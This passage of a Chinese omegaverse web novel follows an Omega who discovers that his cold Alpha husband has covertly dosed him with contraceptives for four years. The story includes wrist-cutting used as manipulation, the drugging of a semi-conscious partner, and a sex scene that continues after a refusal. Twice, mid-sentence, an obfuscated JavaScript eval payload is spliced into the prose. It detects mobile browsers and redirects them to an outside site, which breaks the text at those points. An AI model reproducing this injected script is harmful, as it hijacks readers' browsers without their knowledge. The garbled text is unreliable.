《一查,他给我吃了四年避孕药》 1. 钟映很清楚他的Alpha丈夫并不爱他 钟映很清楚他的Alpha丈夫并不爱他,甚至可以说,厌恶他。 但真正让这种认知深刻到刺骨的,莫过于此刻他茫然地坐在医院外的长椅上,手里拿着路霆美其名曰给他买的“营养品”。 他和路霆结婚四年,前段时间钟家还在施压,说是时候该怀上一胎了。 钟映也不是没想过,如果他们有孩子,路霆会不会多看他一眼。 按照钟映平日里偷偷动的手脚,他本该早早怀上路霆的孩子。可这么久过去,却始终没有动静。 他独自去了医院做检查。医生拿着报告单,神色古怪地打量他:“你想怀孕,为什么还长期服用避孕药?” 钟映茫然地抬起头:“我没有……是不是弄错了?” 医生语气笃定地说绝不可能出错,转而问他平日里是否在服用其他药物。钟映想起路霆给他买的那些“营养品”,那是他每天都会按时吃下去的东西。 其他的他连维生素C都没吃。 他一直以为,那是路霆终于开始关心他的身体才特意准备的。 所以他从未怀疑过,每天都认真服用。 他拿给医生看,检测结果出来的时候他还抱着最后一丝希望问:“我老公说这是补充营养的。” 医生沉默片刻,声音冷静:“这是专门给Omega设计的强效避孕药。你服用多久了?” 钟映张了张嘴,声音发干:“……四年。” “结婚多久了?” “……四年。” 医生投来一道怜悯的目光,语气委婉却清晰:“这种药相比其他避孕药物其他不良副作用几乎没有,比如头晕发胖,但是唯一影响的可能就是Omega受孕率。现在停药,好好调养身体,怀孕的希望还是很大的。” “回去跟你的Alpha好好沟通一下吧。” 可钟映听懂了那话里的深意,他以后很可能,再也不会有孩子了。 眼眶瞬间就红了。 他不明白,路霆为什么要这样对他。 像钟映这样名声有瑕的Omega,原本是绝无可能嫁给路霆的。全因父辈早年间定下的一纸姻亲,才勉强拴住了这段婚事。 四年前,路霆即将奔赴前线。所有人都以为他注定要死在战场上。路家松口、了却一桩责任,他根本没挑,匆匆忙忙就和钟映结了婚。 钟映就这么跟着他去了战场,成了随军家属。 前线的日子是真的苦,风沙裹着硝烟味,物资紧缺,时刻提心吊胆。可两年后,路霆竟带着一身赫赫军功活着回来了,一时风头无两,如今更是帝国炙手可热的新贵。 路霆越是耀眼,就越是衬得他身边的Omega配不上他。 事实的确如此,钟映十六岁那年就因持械伤人进了管教所,一关就是整整一年。出来之后依旧不学无术,整天游手好闲,仗着那张漂亮脸蛋和家世横行霸道,娇纵任性得近乎愚蠢。圈里人私下都说,他不过是个空有皮囊的草包,内里早就烂透了。 钟映独自坐在医院冷白的走廊长椅上,指尖拿着报告压得发白。 他忽然想起路霆曾冷笑着对他说过绝不可能让他的孩子,有钟映这样的Omega家长。 他原以为那只是一时气话。 却没想到,路霆是从一开始,就没打算让他有孩子。 钟映离开医院时,正撞见一家三口从他身边经过。一个扎着羊角辫的小丫头骑在Alpha父亲的肩头,奶声奶气地嘟囔着不想打针,一旁的Omega母亲温柔地哄着“不打不打,我们回家吃糖”。 钟映脚步顿了顿,目光不自觉地追着那画面,眼底流露出难以掩饰的羡慕。 恐怕他这一生,都不会有这样的机会了。 * 他推开门,第一眼就看见玄关处那双被随意踢开的黑色皮鞋,路霆提前结束了出差。 钟映沉默地将那份轻飘飘却重如千钧的检查报告折成小块,塞进抽屉最深处。随后他弯腰拾起路霆扔在门口的大衣,刚要将它拢进怀里送去清洗,却猝不及防地被领口处一股陌生而甜腻的Omega信息素刺中了鼻腔。 那气味是玫瑰蜜,带着一股黏腻感,死死缠在羊毛纤维的每一寸缝隙里。 根本不需要想象。 这气味本身就是最直白的背叛宣言。 钟映猛地僵在原地,手指死死掐进大衣布料,冰冷的寒意从脚底窜上脊背。 钟映整个人僵在原地,他像被钉在冰冷的地板上,连血液都凝固了。 脑海中一片空白。 他早知道路霆外面有人,甚至曾亲眼见过对方当着他的面与别人亲热。他以为自己早就麻木了,可这一刻还是痛得浑身发抖,痛得胃里翻搅,几乎要弯下腰干呕。 他不是没有闹过,曾经用最极端的方式,划破腕脉来留住这段婚姻,鲜血像蜿蜒的蛇一样爬满浴室地。 当医生平静地说出“避孕药”三个字时,钟映他也想过当面质问路霆。可那念头只是一闪而过。除了自虐般地再听一句“那我们离婚好了”,他还能得到什么?他又能埋怨什么? 路霆只是不爱他。 从始至终,坦荡又残忍。 不爱一个人,算什么错呢? 这段岌岌可危的婚姻对路霆而言从来束缚又多余。只有钟映还在固执地坚持,傻傻地以为时间能改变什么,可岁月流转,只有路霆始终不曾爱过他分毫。 钟映只能眼睁睁看着自己的丈夫越走越远,他自己也渐渐被磨去了所有心气,像一块被反复冲刷的石头,失去了最初的棱角。 他不是没想过“那就离婚好了”,或许彼此都能解脱。 可这念头刚冒出来就被他自己狠狠按了回去。 因为从始至终他根本没有选择的资格。 钟映收拾屋子花了些时间,他们没有请阿姨,钟映没工作,家里的一切琐碎便都落在他手上,他把路霆随意丢在沙发上的几本外文军事杂志理齐,厨房正在炖一锅山药排骨汤。 汤在锅里咕嘟冒泡时,主卧的门锁传来轻响。 路霆穿着深灰色家居服走出来,衣料柔软却衬得他身形愈发挺拔。额前黑发有些过长,但不会遮住眉眼,却高挺鼻梁投下的那道冷淡阴影。 他的唇很薄,抿成一道没有弧度的线,整个人裹着一股生人勿近的冷峻。 他甚至没有看钟映一眼,径直绕过流理台走向洗手台。水流声哗然响起,他垂眼搓洗双手,对待钟映比陌生人还要生分。 钟映怔怔地望着他,片刻后才垂下眼睫,无声地走到餐桌旁。他拿起汤勺,舀了一碗还冒着热气的汤,轻轻放在路霆面前,自始至终没有说一句话,只是安静地坐回自己的位置,低头拿起筷子。 曾几何时,他总会在饭桌上试着找些话题,或许是问路霆工作是否顺利,又或者聊聊新闻里看到的趣事。而路霆往往只是抬起那双没什么情绪的眼睛,眉头微挑,用听不出波澜的声线扔过来一句:“吃饭不要说话。” 那么冷,那么淡。 于是钟映就只能抿住嘴唇,把还没说出口的字句咽回去,一顿饭吃得安静又小心。 其实结婚之前,钟映连炒蛋都会糊锅。路霆从不回家吃晚饭,部队食堂永远供应充足。可他还是执意系上围裙,从切菜开始学起。手指被刀锋划破过,手背溅起油点是常事,他对着菜谱一遍遍调整火候,慢慢地,才能把一道汤炖出恰到好处的香气。 他现在做得很好,所以路霆才会回家吃饭。 钟映曾经以为,日复一日的付出与妥协总能焐热一点什么。 可路霆的心是万年玄冰,凿不穿、融不化。这么多年过去,他看他的眼神依旧如初,冷淡、审视,甚至带一丝不易察觉的讥诮,仿佛他就一直是那个不学无术的Omega。 饭后,钟映收拾完碗筷,水流声戛然而止。 钟映想起钟浦涛在电话里的嘱咐,他擦干手,走到客厅。路霆正拿起外套准备出门,背影挺拔而冷硬。 钟映终于鼓起勇气,声音不高,却清晰地划破了沉寂:“老公,我们要不要有个孩子?” 路霆动作顿住,随即转过身来,眼神又冷又嘲,从上至下扫过钟映微微发白的脸。 “你觉得,”他语速不快,“我可能让我的孩子,有你这样一个Omega父亲吗?” 他向前半步,目光压得人几乎喘不过气。 “还是说,”他轻笑一声,“这又是你不想离婚的新把戏?” 钟映看着他脸上那毫不掩饰的讥诮与冰冷,仿佛被一记无形的耳光狠狠扇在脸上,火辣辣地疼。 他太熟悉这种眼神了,路霆一直是这样看他的。看他像个满嘴谎言、头脑空空的蠢货,看他像个用尽手段也要赖在这场婚姻里的笑话。 如果不是还顾忌着钟家那点最后的脸面,以路霆那样决绝狠厉的性格,恐怕早就忍不住掐死他了吧。 钟映不是不记得,结婚刚满第二年的时候,路霆就曾面无表情地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345611|183512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扔给他一份离婚协议。那时他还能放下所有尊严,死皮赖脸地求他,红着眼眶拽他的袖口,一遍遍说“老公,我们再试试吧”。 路霆最终没再坚持,但那不是心软,只是懒得纠缠。 而第二次,路霆的态度彻底冷了。他把新的协议放在桌上,语气没有任何余地。那天晚上,钟映用颤抖的手拿起刀片,在浴室里割了下去。鲜血染红水面的时候,他脑子里空荡荡的,只剩下一个念头:只有这样,才能留住他。 事情闹得很大,他被抢救回来,消息也传到了路老太太耳朵里。 老人从老宅赶来,把路霆教训了一顿,说像什么样子,一句话就压下了所有风波。 婚,最终又没有离成。 可路霆从那之后,再也没正眼看过他。 钟映曾经天真地以为,只要他努力得足够久、付出得足够多,总有一天路霆会看见他的好。 他总相信是自己做得还不够,才没能融化对方眼中的冰层。他笨拙地示好,小心翼翼地靠近,甚至说服自己,一切都会好起来的,路霆只是需要时间。 后来他才明白,这想法本身就已愚蠢透顶。 他以为死缠烂打是深情的表现,却不知道那只会把对方推得更远,让自己变得更加不堪和令人厌烦。 路霆打量着他骤然苍白的脸色,语气平淡地说:“奶奶过完生日,我们就去把婚离了吧。” 钟映几乎是下意识伸手拉住他的袖口,指尖微微发抖:“路霆,我们最近不是好好的吗?我不会再像以前那样不懂事了……我也不会干涉你任何事。我们不离婚,行吗?” 话还没说完,路霆突然猛地一甩手,力道又狠又急,钟映根本站不稳,整个人重重跌倒在地。 他还没反应过来,路霆已经掐着他下巴,逼他抬起头。那双眼睛里没有半分温度,只有赤裸的厌恶和警告:“你这套戏码还没演够?如果这次还想死,记得死远一点,别让我看见。” 说罢,路霆就松开了手,迅速抽身。他甚至没再多看钟映一眼,转身径直朝外走去。 钟映仍跌坐在地,手指无意识地按在冰冷的地砖上,一动未动,只觉得这屋子里弥漫的冷意,竟比深冬的寒风还要刺骨。 他缓缓抬起左手,目光落在腕间那道淡粉色的疤痕上,那是上一次他亲手划下的痕迹,静静趴伏在皮肤上。 他忽然极轻地笑了一下,嘴角扯起的弧度苦涩而自嘲。 他自然不是真的想死。 他算准了时间,拿捏着力度,他要的就是被人发现时那副脆弱狼狈的模样,路霆看见他的时候也的确慌了,死死按住他的手腕带他去医院,说不离婚。 钟映要的就是路霆那一点微不足道的同情和心软。 可疼也是真疼。 刀刃划下去的瞬间,那种尖锐的、撕裂般的痛楚是真实的。 而现在,每一次呼吸间心口传来的滞重与酸涩,也是真实的。 说到底,也是他自己咎由自取。 就连路霆标记他,也是他精心设计的一场局。那是路霆因重伤高烧神志不清的夜晚,钟映在水里掺了药,颤抖着靠近。 他清楚自己在做什么,也清楚事后将要面对什么,可他依旧解开了对方的衣扣,任由滚烫的呼吸烙在自己颈间。 第一次标记的过程生涩而粗暴,疼得他蜷缩指尖,指甲深深掐进掌心。 可在那一片灭顶的痛苦中,钟映却诡异尝到了一丝扭曲的甜,仿佛短暂地拥有了这个永远不可能属于他的人。 路霆醒来后,看清眼前的一切,眼神几乎要将他剐碎。他一把掐住钟映的脖子,手背青筋暴起,是真的下了死力。那一刻钟映几乎以为自己会死在他手里。 那时候的钟映,为了能让路霆多看自己一眼,为了那一点点虚无缥缈的爱,确实无所不用其极。如今尝尽苦果,他也只能默不作声地往下咽。 他只是没料到,路霆会恨他到这种地步,不仅厌恶到不愿让他孕育自己的孩子,甚至要摧毁他的身体和仅剩的尊严。 路霆太了解怎么伤他了。 一句话,一个眼神,一次比一次更狠。 而这一次,钟映终于连从地上爬起来的力气都没有了。 钟映有时会想,如果当初没有被路霆从前线救下的那一刻冲昏头脑,如果他没有因此无可救药地动了心,而是只把他当作一个冷淡的联姻对象。 是不是现在所遭受的一切,只会是身体的痛,而不会痛到心口上。 2. 这还有必要吗? 路霆向来很忙,第二天钟映醒来时,路霆没在家,也不知道昨晚回来没有。 他坐在床沿发了会儿呆,眼睛又涩又胀。昨晚哭得太久,现在眼皮肿得厉害,指腹按上去还能感到清晰的胀痛。 他走进浴室,看见镜子里那个脸色苍白、双眼通红的人,自己都觉得狼狈。 出门上课前,他从抽屉深处翻出一副黑色墨镜,仔细架到鼻梁上。 镜片足够大,能勉强遮住他不堪的痕迹。 这门课是路母替他报的,美其名曰“Omega人妻修养课”,内容从信息素调控到膳食搭配,甚至包括体态管理到夫妻生活。 老人家的初衷很简单,无非是希望他能借此让路霆多看他一眼。 可惜纯粹是浪费学费。 钟映不是没有试过。可当他真正把这些用到路霆身上时,只换来对方冷淡的一瞥,漠然抛来一句:“你整天都在想些什么?” 来这班里上课的Omega,家里无一不是非富即贵,背后的Alpha也个个身份显赫。 名义上是来修习“人妻修养”,实则更像是一场心照不宣的交际。 下课后他们三三两两聚在一起,谈论着最新的拍卖会、私人航班,或是某家难订的米其林三星。 从第一节课起,钟映就显得格格不入。 老师讲话语速很快,带着优雅的尾音,内容从古典艺术讲到金融术语,有些词他根本听不懂,甚至课本上的字,他都认不全。 有天晚上,他鼓起平生最大的勇气,拿着笔记去书房找路霆。男人正处理文件,钟映结结巴巴地问出几个问题,声音越来越小。 路霆终于停下笔,扫了一眼他那片潦草的笔记,沉默了片刻。 那沉默比斥责更磨人。 “你果然,”路霆语气里听不出情绪,“比传言里的更糟糕。” 钟映瞬间耳根通红。 “先去报个文化班。”路霆收回目光,“字认全了再说。” 后来钟映真的去报了文化班。他从最基础的开始学,一个字一个字地认,一句话一句话地读。 这个班里也有看在路霆的面子上主动和他说过话。 后来没什么共同语言,也没什么交集了。 钟映刚踏进电梯,金属门正要合上,一只涂着裸色指甲油的手忽然伸进来轻轻一挡。 门重新滑开,孟檀清踩着细高跟鞋优雅地走进来,站定在他身旁。 她丈夫是圈内颇有名的富商,她自己则常年周旋于各路军官太太的茶会与沙龙之间,人脉广,人缘也好。 可即便同班上课这么久,她却从未主动和钟映说过一句话。 密闭的空间里弥漫着她身上的香水味道。 钟映下意识地往角落缩了缩,低下头,试图避开对方可能投来的任何视线。 然而孟檀清还是侧过头,目光在他脸上停留了片刻。那视线带着毫不掩饰的打量,最终落在他肿起的眼睑和苍白的皮肤上。 “你……”她声音不高,却清晰地响在寂静的电梯厢里,“被家暴了?” 钟映猛地一怔,慌忙摇头:“没有的事!” 钟映声音干涩发哑,“只是昨晚没睡好……眼睛有些肿。” 这话说得连他自己都缺乏底气。 沙哑的声音暴露无遗。 孟檀清轻轻叹了口气,那声叹息里裹着一种了然的、几乎是怜悯的味道:“也难为你了。” 她语气放缓了些,像一根细针,精准地刺破钟映勉力维持的平静:“这里的人,谁不知道你跟你丈夫感情不好。” 孟檀清目光在他纤细的胳膊和单薄的肩膀上扫过,声音压得更低:“可是家暴这种事,你不能一直忍下去。就你这身子骨……能扛得住他几拳?” 钟映无奈且逞强地说:“我真的没有被家暴……我和路霆,也没有感情不好。” “这个圈子才多大?消息都是互通的。” 孟檀清叹了一口气:“我听说,路将军上半年差不多有一半时间都宿在军部。哦对了,上个月陈参谋长家的晚宴,刘总参夫人的生日宴,还有之前市政的招商酒会……他好像一次都没带你去过吧?” 钟映的嘴唇无声地抿紧。 “其实我们早就知道了,”她语气放轻,仿佛带着一丝怜悯,“只是……” 她没再说下去。 ——只是我们懒得拆穿你而已。 钟映的脸颊一瞬间烧得滚烫,血色汹涌而上,连耳根都红得彻底。他恨不得当场就有一条地缝能让他钻进去。 那他以往那些辛苦维持的装模作样,自己偷偷买来、却对朋友说是路霆送他的礼物,那些谎称是丈夫出差带回来的首饰,每一次节日前夕,说路霆要带他去哪家难订的高档餐厅,描述根本不存在的菜单和氛围。 可事实上,他只是一个人绕远路,在商场里漫无目的地消磨时间,再独自回到那间空旷冰冷的公寓。 原来他辛辛苦苦向所有人营造出的恩爱夫妻的假象,从头到尾,这都是他一个人的独角戏。 而他生生演了好几年。 钟映整堂课都如坐针毡,总觉得每一道扫过的视线都像针一样扎在他身上。 他以前怎么会天真地以为那些目光里带着羡慕?现在他才迟钝地反应过来,那恐怕是怜悯,甚至嘲讽。 嘲笑他一个人居然也能把这场戏演得那么投入、那么愚蠢。 讲台上,特邀来的高级营养师正侃侃而谈,声音温和专业,讲解着Omega孕期各阶段的微量元素补充方案。 钟映面前摊着那本厚厚的笔记本,上面密密麻麻写满了字,每一门课他都听得极其认真,笔记做得一丝不苟。 可这一刻,他看着那些工整的字迹,却突然感到一阵前所未有的疲惫。 他抬起手,用指尖揉了揉发酸发胀的眼皮。 那股累是从骨头缝里渗出来的。 下课铃刚一响,他没像往常一样凑上前去问问题,而是迅速合上本子,低头收拾好东西,第一个快步走出了教室。 他没有回那个空旷的家,而是第一次绕开了日常的路线,独自拦了辆车,径直去了一所离家很远的医院。 钟映在门诊前台签完到,刚转身要走往住院区,迎面就看见一道熟悉却意想不到的身影。 路羿正穿着白大褂,身后跟着几名年轻医生和护士,步履利落地从走廊那端走来,显然正在查房。 钟映脚步一顿,下意识就想避开,却已经来不及。路羿目光扫过来,恰好与他撞个正着。 路羿是路霆的堂弟,也是他名义上的小叔。钟映怎么也没料到会在这家医院碰见他。 躲不过,他只好低声喊了一句:“小叔。” “大嫂。”路羿停下脚步,朝他微微颔首。 他声线清冷,气质疏离出尘,那副眉眼间的淡漠和路霆如出一辙,只是比起他哥哥,路羿至少还维持着表面上的礼貌。 “你怎么会在这里?” “一周前刚调来任职。”路羿答得简洁,目光在他脸上短暂停留,“生病了?” 钟映立刻摇头:“没有。只是……来看个朋友。” 他说得有些匆忙,甚至没等路羿再开口,就含糊地点了下头:“我先过去了。” 说罢,几乎像逃离一般,转身快步走向另一侧的电梯间。 路羿正准备转身离开,肩膀却被人从后方不轻不重地拍了一下。他回头,是他在生殖科的老同学,正笑着朝他刚才离开的方向抬了抬下巴:“刚才那个Omega,你认识?” 路羿语气平淡:“那是我嫂子。” 对方闻言挑了挑眉,脸上露出些许玩味又掺杂着同情的神色:“那你哥可真够狠的,不愧是战场上下来的人。这么漂亮一个大美人,居然也舍得让他连续吃四年的避孕药。” 路羿脚步顿住,眉头倏地蹙紧:“你在胡说八道什么?” “你还不知道?”对方压低了些声音,“你嫂子可是上周我们科室的‘话题人物’。他以为自己身体有问题怀不上,跑来做了全套检查。结果你猜怎么着?结婚四年,他丈夫让他吃了四年的避孕药,还是专门针对Omega的特效药,一般人根本拿不到。” 同学的声音还在继续,带着一丝唏嘘:“他好像一直以为那是他老公给的营养品,每周按时吃,从没断过。听说知道真相的时候,整个人都懵了,站在诊室门口一动不动。” 说罢他叹了口气,摇了摇头:“而且那药性挺烈的,长期服用以后……恐怕很难再有孩子了。” 路羿听完猛地转头,看向钟映方才消失的走廊转角。 医院顶层的专属疗养区很安静,钟映推开病房门时,护工桑姨正坐在窗边的扶手椅上,低声念着一本童话书。 见他进来,她便合上书站起身,轻声细语地向他汇报了近一周寄玉的情况:一切稳定,护士刚来做完全身按摩。 桑姨说完便体贴地带上门离开,将空间留给了他们兄妹。 病房里弥漫着消毒水,靠墙的柜子上堆满了各式各样的礼物,毛绒玩偶、音乐盒、包装精致的糖果罐,都是钟映一次次带来的,仿佛只要礼物堆得足够多,就能填补床上人长久的空缺。 病床上躺着一个小姑娘,眉眼安静,呼吸均匀,像是沉溺在一场不愿醒来的梦里。 钟映轻轻坐在床边的椅子上,伸出手,极轻地摸了摸她的脸颊。 指尖传来的温度温顺而脆弱。 寄玉是在四年前那场车祸后变成这样的。 “妹妹,好久不见。”钟映声音放得很柔,像是怕惊扰什么,“上周哥哥有点事,所以没能来看你。不过今天给你带了个新礼物。” 他从口袋里拿出一个巴掌大的向日葵玩偶,明黄色的花瓣柔软地舒展着。他把它轻轻放在枕边,挨着她的脸颊。 “你看,是你最喜欢的小向日葵,是不是很可爱?”钟映目光落在她毫无反应的眉眼上,声音低了些,“你还记得吗,以前我们住的那条巷子总是很暗,地上老是湿漉漉的,后来长了几朵向日葵。你说以后一定要住一个有花园的大房子,里面要种满向日葵,金色的,一眼望不到头那种。” 他喉结轻微地滚动了一下,眼眶不受控制地泛起一层薄红。 “你醒了以后……哥哥就带你去,好不好?去那种有好多好多向日葵的大房子。” 等他走出病房时,却意外看见路羿还站在走廊尽头的窗边,并没有离开。 钟映眼睛消肿了些,便把手里的墨镜放回包里。 他注意到路羿的目光正落在他刚走出来的那间病房的门牌上,心里顿时一紧。 路羿转过头,语气依旧平淡,却问得直接:“大嫂,你的朋友……是植物人状态?” 钟映指尖微微蜷缩,低声应道:“是。几年前出了点意外。” 路羿点了点头,没再追问详情,只是转而说道:“我和大哥很久没回老宅了。大伯母提过几次,让你们有空回去吃个饭。” 钟映垂下眼,说了声“好”。 等真正走出医院大门,冷风迎面吹来,他后背渗出细微的冷汗。 路家的人都太聪明了,嗅觉敏锐得可怕。 如果被他们发现寄玉的存在,甚至深挖下去……那后果简直不堪设想。 他几乎一刻不敢耽误,回去就开始联系别的私立疗养院。可问了一圈下来,费用高得令人咋舌。专业的医疗团队、二十四小时看护、独立的病房,每一项都需要巨额资金支撑。 他手头那点积蓄根本不够。 钟家早已明确表态不会为他这个“嫁出去的儿子”额外支付任何费用。 而路霆那边……他更是连开口的勇气都没有。 那个男人早就认定他虚荣、贪婪、满心算计。现在再去要钱,无异于坐实所有难堪的指控。 而且他有预感,这次离婚,路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345612|183512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霆恐怕不会是说说而已。 他正对着电脑屏幕上高昂的费用明细出神,玄关处的门铃突然急促地响了起来。 钟映怔了一下,起身去开门。门外站着的是路霆的副官,正半架着显然喝多了的路霆。 男人闭着眼,眉心紧蹙,周身散发着浓重的酒气。 钟映侧身让人进来,低声指引副官将人扶进主卧。 副官简短交代了一句:“将军今晚和老战友聚会,高兴,喝得多了些。” 说完便敬礼告辞。 送走副官,钟映回到卧室,站在床边看着醉得不省人事的路霆。他犹豫片刻,还是走上前,动作极轻地替他解开衬衫纽扣,用温水浸湿的毛巾仔细擦拭着他的脖颈和胸膛。 然而,当他的指尖刚碰到路霆的皮带扣时,手腕却猛地被一股大力攥住。 本该沉睡的男人不知何时睁开了眼睛,目光锐利而清醒,牢牢锁住他,投向他的只有冰冷的警惕和审视。 钟映立刻举起双手:“我不碰你了……你睡吧。” 他们第一次发生关系,就是趁路霆伤后高热、意识模糊之时。 他偷来了一个标记,也换来路霆整整一年的彻底漠视。 此后每一次发情期,他都是靠着抑制剂独自熬过;而路霆的易感期,也从未需要他的靠近。 他们拥有着世界上最亲密的关系,却活得比陌生人更加疏离。 甚至后来那少数几次的亲密,路霆也每次都做好严密措施。钟映曾经偷偷在避//孕套上扎过孔,后来被发现了。 路霆当时发了极大的火,那之后几乎再没碰过他。 他确实做了太多让路霆厌恶的事,一桩桩,一件件,连他自己都数不清。 难怪对方要用那种方式,让他连续几年吞下避孕药,彻底断绝任何不必要的麻烦。 钟映懒得再去细数这些年自己究竟犯过多少蠢。 现在最重要的,是尽快凑够钱,给寄玉转院。 他低声说完那句“你睡吧”,便想抽身离开。可就在他转身的刹那,路霆却猛地攥住他的手腕,力道大得惊人,毫无预兆地将他狠狠拽倒在自己身上。 钟映猝不及防跌落在男人滚烫的胸膛上,手忙脚乱地想要撑起身子。 可路霆抚摸他后背的手却突然变了意味,不再是推开,而是带着某种混沌的、不容拒绝的力道,顺着他的脊柱向下滑去。 如果是以前,钟映或许还会半推半就地顺从。可此刻,他只要一想到路霆清醒时看他那冰冷嫌恶的眼神,想到那四年的药,他就无法忍受这种触碰。 他开始挣扎,抗拒似乎惹恼了身上的人。路霆极其不耐烦地“啧”了一声,猛地一个翻身将他牢牢压进床垫里。 下一秒,尖锐的刺痛猛地从后颈传来,路霆竟然低头,一口咬住了他的腺体。 信息素如同无形的枷锁,迅速侵蚀着Omega的抵抗。钟映只觉得浑身力气被瞬间抽空,四肢百骸都泛起一种可耻的绵软,身体深处甚至不受控制地涌起一阵湿热的悸动。 他眼睁睁看着路霆解开他的衣扣,布料摩擦发出细微的窸窣声。 他嘴唇翕动说不要。 路霆的动作却没有丝毫停顿,仿佛根本没听见,或者说,根本不在意。 Alpha性需求往往强得惊人,以往每次和路霆做完,钟映都像是被彻底拆解重组过一遍,腰腿酸软得无法站立,至少得在床上昏沉地躺上一整天才能缓过劲来。 此刻,钟映眼角泛着生理性的绯红,上半身的衣物已被褪得松松垮垮,挂在臂弯,露出一片白皙浑圆的肩膀和微微起伏的胸口。他看见路霆撑起身,从床头柜的抽屉里拿出一个独立包装的避/孕套,利落地拆开。 钟映偏过头,急促的呼吸尚未平复,目光落在那个透明薄膜上,带着一丝难以言喻的涩然:“……这还有必要吗?” 果然是一丝一毫意外怀孕的可能性,都不能在他这里发生。 路霆赤裸着精壮的上半身,肌肉线条流畅而分明,在昏暗的光线下泛着一层薄薄的汗意。额前几缕黑发被汗水濡湿,随意地搭在眉骨之上。他脸上情欲尚未完全消退,眼底还残留着浓重的侵略性,混合着平时罕见的慵懒,形成一种格外迫人的性感。 他微微喘着气,握住钟映的手指。那手指纤细,还带着些许颤抖,被他整个裹在滚烫的掌心里。 “你在想什么?” 钟映想,他真的最好什么都不要想。 第二天钟映醒来时,窗外天光早已大亮,钟映查看时间,已近中午,身侧的床铺空荡冰冷,路霆是什么时候离开的,他毫无察觉。 睡得跟猪一样。 他是被胃里一阵阵的空泛绞痛催醒的,浑身骨头像散了架般酸软。昨晚上被扯坏的衣服皱巴巴地显然不能再穿。 他懒得多动,赤着脚走到衣帽间,随手扯下一件路霆的衬衫套在身上。宽大的布料裹着他,下摆刚遮过腿根。 他饿得厉害,勉强在厨房橱柜深处找到一袋未开封的全麦面包。也懒得加热,就这么站在厨房,小口小口地机械啃着干涩的面包片,目光放空地盯着对面墙壁上的某一处纹路。 正出神间,书房的门锁忽然“咔哒”一声轻响。 钟映下意识地回头望去。 只见路霆率先走了出来,依旧是一身挺括严谨的衣着。而紧随其后的,是一位同样身形高挑、气质清冷峻肃的陌生Alpha。 空气仿佛在这一刻凝滞。 钟映浑身上下只套着一件明显不属于自己的宽大衬衫,领口歪斜,露出锁颈间一片暧昧红紫的吻痕。 衬衫下摆之下,光裸的腿肌肤上,几道未褪的指痕清晰可见。 昨夜所有激烈的情///欲痕迹,在此刻毫无遮掩地暴露在骤然明亮的客厅光线之下,以及那位陌生Alpha冷淡的视线里。 而嘴里还鼓鼓囊囊塞着面包片的钟映:“…………” 3. 你不试试怎么知道呢? “你就穿成这样出来。” 路霆的脸色瞬间沉了下去,难看得几乎能滴出水。 他身后的那位Alpha目光像是被什么烫到一般,立刻偏开头,生硬地找了个借口:“我文件落下了。” 便迅速转身退回书房,还顺手带上了门。 钟映脸颊烧得通红,下意识地张了张嘴,抓过旁边的抱枕挡住自己几乎赤裸的双腿和满身痕迹。 可路霆的动作更快。 他直接脱下那件挺括的军装外套,劈头盖脸地扔到钟映身上,宽大的布料瞬间将他整个人裹住。下一秒,男人俯身,一只手就轻易地将他捞了起来,毫不费力地抱着他大步走向卧室,随即毫不温柔地将他扔进柔软的大床中央。 “立刻把衣服换了。”路霆的声音冷硬,不带丝毫温度。 钟映不占理:“我……不是故意的。我给你洗干净。” “你不是故意的?”路霆居高临下地看着他,嘴角扯起一个冰冷的弧度,“专挑家里有客人的时候来这一套,钟映,我有时候真的不知道你在想什么?” 钟映想,我也不知道你在想什么。 钟映:“我不知道你今天在家……” 路霆嗤笑一声,那笑声里充满了毫不掩饰的讥讽:“你会不知道我的行程?” 钟映的话确实毫无说服力。过去几年里,他几乎偏执地向路霆的秘书反复确认对方的每一处行程,细致到分钟。秘书虽颇有微词,但碍于他“路将军配偶”的身份,终究还是次次妥协,将信息如实告知。 他一直以为路霆对此毫不知情,却原来对方心里一清二楚,只是懒得点破。 说来或许路霆根本不会相信,但钟映确实已经很久没有再索要过他的行程表了。 他还清晰地记得上一次,那时路霆结束长达数月的特训,有一个短暂的假期。钟映提前从秘书那里问到了航班信息,特意开了车,早早等在机场出口不远处。 他坐在驾驶座上,指尖悬在拨号键上方,正准备打电话告诉对方自己来了。就在那一刻,他抬眼望去,恰好看见路霆拖着行李箱走出来。 而紧接着,一个穿着浅色大衣、气质温软的Omega快步迎了上去,极其自然地接过了路霆手中的行李。 路非但没有拒绝,反而微微低下头,任由那个Omega亲昵地挽住他的手臂,甚至笑着拥抱了他一下。 钟映整个人僵在座位上,定定地看着那幅画面,血液仿佛瞬间冻结。 仿佛有所感应,路霆忽然抬起眼,目光穿透人群,精准地攫住了他。 那双眼睛里没有半分意外,只有冰冷的、近乎刻意的漠然。 钟映猛地转回头,手指死死按在冰凉的方向盘上,指节绷得发白。他用力眨着眼睛,拼命忍住下一秒就要决堤的眼泪。 从那天起,他就再也没要过路霆的行程。 那种行为,除了自取其辱,别无意义。 解释在此刻显得太过苍白无力,无论说什么,恐怕都只会让路霆更认定他是故意衣衫不整地出现在客人面前,演一出拙劣的戏码。 钟映沉默了片刻,低声道:“我这就回房间换掉。” 他和路霆虽然同住一个屋檐下,却几乎等同于分房。 主卧更像是路霆独有的领地,只有在极少数的、发生过亲密关系之后,钟映才被默许暂时留在这里过夜。 大多数夜晚,他都睡在走廊另一端的客房里。 